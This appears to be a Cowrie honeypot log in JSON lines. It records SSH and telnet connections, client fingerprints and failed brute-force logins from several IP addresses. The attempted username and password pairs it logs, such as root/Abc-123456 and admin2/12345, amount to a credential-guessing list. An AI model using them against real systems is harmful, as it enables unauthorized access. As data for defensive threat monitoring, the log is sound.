{"eventid":"cowrie.session.connect","src_ip":"161.35.205.74","src_port":42866,"dst_ip":"10.17.0.5","dst_port":22,"session":"da5a3379ff9d","protocol":"ssh","message":"New connection: 161.35.205.74:42866 (10.17.0.5:22) [session: da5a3379ff9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:22:20.905838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:22:20.914121Z","src_ip":"161.35.205.74","session":"da5a3379ff9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:22:21.000633Z","src_ip":"161.35.205.74","session":"da5a3379ff9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"letmein123","message":"login attempt [user/letmein123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:22:21.370525Z","src_ip":"161.35.205.74","session":"da5a3379ff9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:22:22.455162Z","src_ip":"161.35.205.74","session":"da5a3379ff9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.86960411071777,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:22:28.976295Z","src_ip":"170.64.224.25","session":"337108435157","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":68.16320013999939,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:08.709403Z","src_ip":"137.184.5.188","session":"5433489afa9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.205.74","src_port":59906,"dst_ip":"10.17.0.5","dst_port":22,"session":"eba960938707","protocol":"ssh","message":"New connection: 161.35.205.74:59906 (10.17.0.5:22) [session: eba960938707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:10.258601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:10.263665Z","src_ip":"161.35.205.74","session":"eba960938707","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:10.341881Z","src_ip":"161.35.205.74","session":"eba960938707","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc-123456","message":"login attempt [root/Abc-123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:10.660017Z","src_ip":"161.35.205.74","session":"eba960938707","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:11.746859Z","src_ip":"161.35.205.74","session":"eba960938707","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.215.213.210","src_port":43310,"dst_ip":"10.17.0.5","dst_port":22,"session":"42aff4143193","protocol":"ssh","message":"New connection: 162.215.213.210:43310 (10.17.0.5:22) [session: 42aff4143193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:13.795108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:13.798909Z","src_ip":"162.215.213.210","session":"42aff4143193","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:13.880952Z","src_ip":"162.215.213.210","session":"42aff4143193","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":60672,"dst_ip":"159.203.135.109","dst_port":22,"session":"9756ffed089f","protocol":"ssh","message":"New connection: 159.65.58.200:60672 (159.203.135.109:22) [session: 9756ffed089f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:14.101552Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"cardano456","message":"login attempt [root/cardano456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:14.129094Z","src_ip":"162.215.213.210","session":"42aff4143193","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:14.231654Z","src_ip":"159.65.58.200","session":"9756ffed089f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:14.234472Z","src_ip":"159.65.58.200","session":"9756ffed089f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"semikh","password":"123456","message":"login attempt [semikh/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:15.024855Z","src_ip":"159.65.58.200","session":"9756ffed089f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:15.497857Z","src_ip":"162.215.213.210","session":"42aff4143193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:16.331657Z","src_ip":"159.65.58.200","session":"9756ffed089f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39270,"dst_ip":"159.203.135.109","dst_port":23,"session":"92246fb20f3c","protocol":"telnet","message":"New connection: 170.64.224.25:39270 (159.203.135.109:23) [session: 92246fb20f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:19.469135Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":45220,"dst_ip":"10.17.0.5","dst_port":22,"session":"15cd9e20aa88","protocol":"ssh","message":"New connection: 147.45.211.215:45220 (10.17.0.5:22) [session: 15cd9e20aa88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:20.840758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:20.914772Z","src_ip":"147.45.211.215","session":"15cd9e20aa88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:21.022873Z","src_ip":"147.45.211.215","session":"15cd9e20aa88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11223344qq","message":"login attempt [root/11223344qq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:21.692016Z","src_ip":"147.45.211.215","session":"15cd9e20aa88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:22.864658Z","src_ip":"147.45.211.215","session":"15cd9e20aa88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39284,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fccb51d200b","protocol":"telnet","message":"New connection: 170.64.224.25:39284 (159.203.135.109:23) [session: 4fccb51d200b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:25.061975Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.180.166","src_port":38184,"dst_ip":"159.203.135.109","dst_port":22,"session":"e04157a94719","protocol":"ssh","message":"New connection: 192.169.180.166:38184 (159.203.135.109:22) [session: e04157a94719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:33.067256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:33.071747Z","src_ip":"192.169.180.166","session":"e04157a94719","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:33.136665Z","src_ip":"192.169.180.166","session":"e04157a94719","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.25.72","src_port":54342,"dst_ip":"159.203.135.109","dst_port":22,"session":"f36289710659","protocol":"ssh","message":"New connection: 154.221.25.72:54342 (159.203.135.109:22) [session: f36289710659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:33.309448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:33.313514Z","src_ip":"154.221.25.72","session":"f36289710659","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"D3F1$Tr0ng@W0rd","message":"login attempt [root/D3F1$Tr0ng@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:33.331453Z","src_ip":"192.169.180.166","session":"e04157a94719","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:33.526399Z","src_ip":"154.221.25.72","session":"f36289710659","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"12345","message":"login attempt [admin2/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:34.399900Z","src_ip":"154.221.25.72","session":"f36289710659","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:34.403498Z","src_ip":"192.169.180.166","session":"e04157a94719","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:35.611797Z","src_ip":"154.221.25.72","session":"f36289710659","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.82917666435242,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:57.298205Z","src_ip":"170.64.224.25","session":"92246fb20f3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.244.109","src_port":40346,"dst_ip":"159.203.135.109","dst_port":22,"session":"305f3594877f","protocol":"ssh","message":"New connection: 192.169.244.109:40346 (159.203.135.109:22) [session: 305f3594877f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:57.887584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:57.891207Z","src_ip":"192.169.244.109","session":"305f3594877f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:57.955803Z","src_ip":"192.169.244.109","session":"305f3594877f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"baghdad_iraq","password":"baghdad123","message":"login attempt [baghdad_iraq/baghdad123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:23:58.152010Z","src_ip":"192.169.244.109","session":"305f3594877f","protocol":"ssh"}
